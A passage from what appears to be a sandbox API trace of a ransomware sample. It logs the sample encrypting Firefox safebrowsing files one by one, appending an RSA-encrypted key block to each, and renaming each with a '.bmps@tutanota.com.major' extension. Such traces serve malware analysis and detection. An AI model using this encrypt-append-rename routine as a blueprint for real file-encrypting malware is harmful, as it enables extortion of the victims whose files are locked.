returned 1 [0241.738] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\mozstd-trackwhite-digest256.pset", dwFileAttributes=0x80) returned 1 [0241.739] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\mozstd-trackwhite-digest256.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\mozstd-trackwhite-digest256.pset"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a54 [0241.739] GetFileSizeEx (in: hFile=0x1a54, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=16) returned 1 [0241.739] ReadFile (in: hFile=0x1a54, lpBuffer=0x2e40630, nNumberOfBytesToRead=0x10, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e40630*, lpNumberOfBytesRead=0x2e3f9b4*=0x10, lpOverlapped=0x0) returned 1 [0241.740] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=-16, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0241.740] WriteFile (in: hFile=0x1a54, lpBuffer=0x2e404f8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e404f8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x10, lpOverlapped=0x0) returned 1 [0241.740] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x10 [0241.740] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0241.740] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0241.740] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0241.740] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0241.741] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0241.741] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="a1WGpgEBjvnYIh7+DzQGFKMAKVl58p3pJEiZJthRp5JvKwFfrtQBoUD6R8oldhx1\n6eTXHNGQiBlj1sr6xpCDZS2yFrquPoJ/cpOU9E+9f/IRQ6SUYGOh0x/g4FTTS9ki\n3m95M72iMl4soLu8+0QkRw0Vklwn7QF8iN2pV8XR2edyg+d4W8fjIV/Ip0XOZrjH\nto3Z2f+XJdewrT0EmO9x0ONYWHvIoN1SSHIyLz6UhxCXa8RUDtgm9fHvZH3e2oOC\ncm4A3QtPXHz7jn5wj+CjzwqAhaz16bIXRZgXnr+7ad7lpBo2w4RnmCc5yPmPm3cR\nPhfvEtYxRogv/TvWfOkrCA==\n", pcchString=0x2e3f9a8) returned 1 [0241.741] WriteFile (in: hFile=0x1a54, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0241.741] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0241.741] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0241.741] CloseHandle (hObject=0x1a54) returned 1 [0241.741] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\mozstd-trackwhite-digest256.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\mozstd-trackwhite-digest256.pset"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\mozstd-trackwhite-digest256.pset.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\mozstd-trackwhite-digest256.pset.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0241.743] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0241.743] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\mozplugin-block-digest256.sbstore", dwFileAttributes=0x80) returned 1 [0241.743] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\mozplugin-block-digest256.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\mozplugin-block-digest256.sbstore"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a54 [0241.743] GetFileSizeEx (in: hFile=0x1a54, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=3580) returned 1 [0241.743] ReadFile (in: hFile=0x1a54, lpBuffer=0x33f5018, nNumberOfBytesToRead=0xdfc, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f5018*, lpNumberOfBytesRead=0x2e3f9b4*=0xdfc, lpOverlapped=0x0) returned 1 [0241.753] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=-3580, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0241.753] WriteFile (in: hFile=0x1a54, lpBuffer=0x313e008*, nNumberOfBytesToWrite=0xdfc, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x313e008*, lpNumberOfBytesWritten=0x2e3f9b4*=0xdfc, lpOverlapped=0x0) returned 1 [0241.753] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xdfc [0241.753] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0241.753] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0241.753] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0241.753] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0241.754] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0241.754] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="kK6sGcBNLuxIfpiu7GrTrpWN62kgvGXAm/2oZ+M5M1Eg4Ztt3Wk1cLQslJr5Q+iR\nYx79RguYoVJzvG16FNl5kzZ6guka4Urzf8I/TPP+SES1RxlcGiea7Vwk6iNuMWWJ\n1AW3Ttk7SfEPgxyzC6Kq8CVBrI9Yx5qC2BRT3xIagCiOInGFgUcsMdpRvILUcEc7\n7KWdanU5ZGuaQhhyK9Y13Q5jifS4PeT9vSLN1Cf4/CEXVoNgRp4s7MwKDLFgXh9d\nO22ferdhBXSQqe96I8p3geA4xYaD/yp/mOpt5JcXMXGf4T+mPkbQ+/Ix+/uDjdbp\nQqabg8nTROuL/clNxk27Jw==\n", pcchString=0x2e3f9a8) returned 1 [0241.754] WriteFile (in: hFile=0x1a54, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0241.754] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0241.754] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0241.754] CloseHandle (hObject=0x1a54) returned 1 [0241.754] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\mozplugin-block-digest256.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\mozplugin-block-digest256.sbstore"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\mozplugin-block-digest256.sbstore.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\mozplugin-block-digest256.sbstore.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0241.756] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0241.756] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\mozplugin-block-digest256.pset", dwFileAttributes=0x80) returned 1 [0241.757] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\mozplugin-block-digest256.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\mozplugin-block-digest256.pset"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a54 [0241.757] GetFileSizeEx (in: hFile=0x1a54, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=16) returned 1 [0241.757] ReadFile (in: hFile=0x1a54, lpBuffer=0x2e40480, nNumberOfBytesToRead=0x10, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e40480*, lpNumberOfBytesRead=0x2e3f9b4*=0x10, lpOverlapped=0x0) returned 1 [0241.758] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=-16, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0241.758] WriteFile (in: hFile=0x1a54, lpBuffer=0x2e40438*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e40438*, lpNumberOfBytesWritten=0x2e3f9b4*=0x10, lpOverlapped=0x0) returned 1 [0241.758] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x10 [0241.759] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0241.759] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0241.759] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0241.759] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0241.759] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0241.759] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="IphMjp8WXUaI/yACp8cBV0HGRk1qsQE9gsvWMOgfm75jHQuPkg3a4jn+aXEw2wx2\ntFCjYZxjDsZs1G6qkm9crJixk4CTdMKPQtcJtGG5np3Df9/uk8j4/0eWkqAqrqbR\n9qZEyqtTkwBaD4S8B0t4zhoyh+l7xxhXhaCFh6nwAESAOEVpebN9xw3Bs9QDiXv3\nLs2vlJ5zPyuKakJCBQlBhVL0byHxzv/q8++7p355iVjq7aOvYb2n1ExZmmA3O4do\nLSPrAZn6tTHVeVCjIva68GcQLDYE9zM4oR1MK1PJNo61+IC3xxqHMNnqCgG3uLk2\nLkUALRgFttGWwhOlU5zHog==\n", pcchString=0x2e3f9a8) returned 1 [0241.759] WriteFile (in: hFile=0x1a54, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0241.759] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0241.759] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0241.759] CloseHandle (hObject=0x1a54) returned 1 [0241.759] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\mozplugin-block-digest256.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\mozplugin-block-digest256.pset"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\mozplugin-block-digest256.pset.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\mozplugin-block-digest256.pset.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0241.761] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0241.762] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\goog-unwanted-shavar.sbstore", dwFileAttributes=0x80) returned 1 [0241.763] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\goog-unwanted-shavar.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\goog-unwanted-shavar.sbstore"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a54 [0241.763] GetFileSizeEx (in: hFile=0x1a54, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=251526) returned 1 [0241.763] ReadFile (in: hFile=0x1a54, lpBuffer=0x33f5018, nNumberOfBytesToRead=0x3d686, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f5018*, lpNumberOfBytesRead=0x2e3f9b4*=0x3d686, lpOverlapped=0x0) returned 1 [0241.832] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=-251526, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0241.832] WriteFile (in: hFile=0x1a54, lpBuffer=0x34326a8*, nNumberOfBytesToWrite=0x3d686, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x34326a8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x3d686, lpOverlapped=0x0) returned 1 [0241.833] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x3d686 [0241.833] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0241.833] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0241.833] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0241.833] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0241.834] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0241.834] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="fM/ObrrJbGnxXkDgvO7wjxJ3PAt8TYW4ud/CwjmmowQWjgGO7Bao1qGjUPovFcqk\nofleN9nnL3akNP9Zz4c1JrJLAUT+Ijn85bC3QRLc8pgElcFjz23E1vgqzPQimu99\nsOi5c1UQlygaEgliZpzm0MlLpIWTRdHzUIaSmcv9THtVXDS4FHnpaK9perdmBFTg\nokmxFpu2N3/wEd8bv9auQsiAF3luFHkHPeaYm9ut49v00YCdldOELYmixFX6xr+V\nW6tEZLp+MkFBmRKmrJeCPiS6GzvpERek/WxCPEFf8wFcYjP1xzmNNRF0aUPcDbCO\nzaZQpOx2jlh377pPcWOiPg==\n", pcchString=0x2e3f9a8) returned 1 [0241.834] WriteFile (in: hFile=0x1a54, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0241.834] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0241.834] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0241.834] CloseHandle (hObject=0x1a54) returned 1 [0241.834] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\goog-unwanted-shavar.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\goog-unwanted-shavar.sbstore"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\goog-unwanted-shavar.sbstore.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\goog-unwanted-shavar.sbstore.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0241.836] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0241.836] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\goog-unwanted-shavar.pset", dwFileAttributes=0x80) returned 1 [0241.836] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\goog-unwanted-shavar.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\goog-unwanted-shavar.pset"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a54 [0241.837] GetFileSizeEx (in: hFile=0x1a54, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=273410) returned 1 [0241.837] ReadFile (in: hFile=0x1a54, lpBuffer=0x33f5018, nNumberOfBytesToRead=0x42c02, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f5018*, lpNumberOfBytesRead=0x2e3f9b4*=0x42c02, lpOverlapped=0x0) returned 1 [0241.994] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=-273410, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0241.994] WriteFile (in: hFile=0x1a54, lpBuffer=0x3437c28*, nNumberOfBytesToWrite=0x42c02, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3437c28*, lpNumberOfBytesWritten=0x2e3f9b4*=0x42c02, lpOverlapped=0x0) returned 1 [0241.995] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x42c02 [0241.995] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0241.995] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0241.995] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0241.995] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0241.995] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0241.995] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="4cgVNFLmGGDqyvErkRIV9mHLRHZP9fJ0D2EdQFdmQ/tXsJ0pIe7BRHYyQ9zFseRA\nDqxZOVnLerG3SeLZzLC+k90Wy7CwT8fyDvYRN02v+khpnzWCcZrxU3oA7wtStVKC\n4hAw/aImVg/L8ss7JiRfNVAfYFhIH/10CCcqKAPhS3izvoL0UfhNkSqaVm6TWdbC\nVIdctncR2v9cCII3P+bjxIlKKUArfcb9uKqHNQKLs0D+F5+pUHVQpdl35vvOtuPH\nWWs+LJ++ptf7X/TtXh8bkV51XrhQksE3eB5ftA1dlwY3OjLRJe2t6LYAIgQNucpt\nXDEO6VpLPRjIlB40cpVftQ==\n", pcchString=0x2e3f9a8) returned 1 [0241.995] WriteFile (in: hFile=0x1a54, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0241.995] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0241.995] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0241.995] CloseHandle (hObject=0x1a54) returned 1 [0241.996] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\goog-unwanted-shavar.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\goog-unwanted-shavar.pset"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\goog-unwanted-shavar.pset.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\goog-unwanted-shavar.pset.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0241.997] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0241.997] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\goog-phish-shavar.sbstore", dwFileAttributes=0x80) returned 1 [0241.999] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\goog-phish-shavar.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\goog-phish-shavar.sbstore"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a54 [0242.000] GetFileSizeEx (in: hFile=0x1a54, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=308546) returned 1 [0242.000] ReadFile (in: hFile=0x1a54, lpBuffer=0x33f5018, nNumberOfBytesToRead=0x4b542, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f5018*, 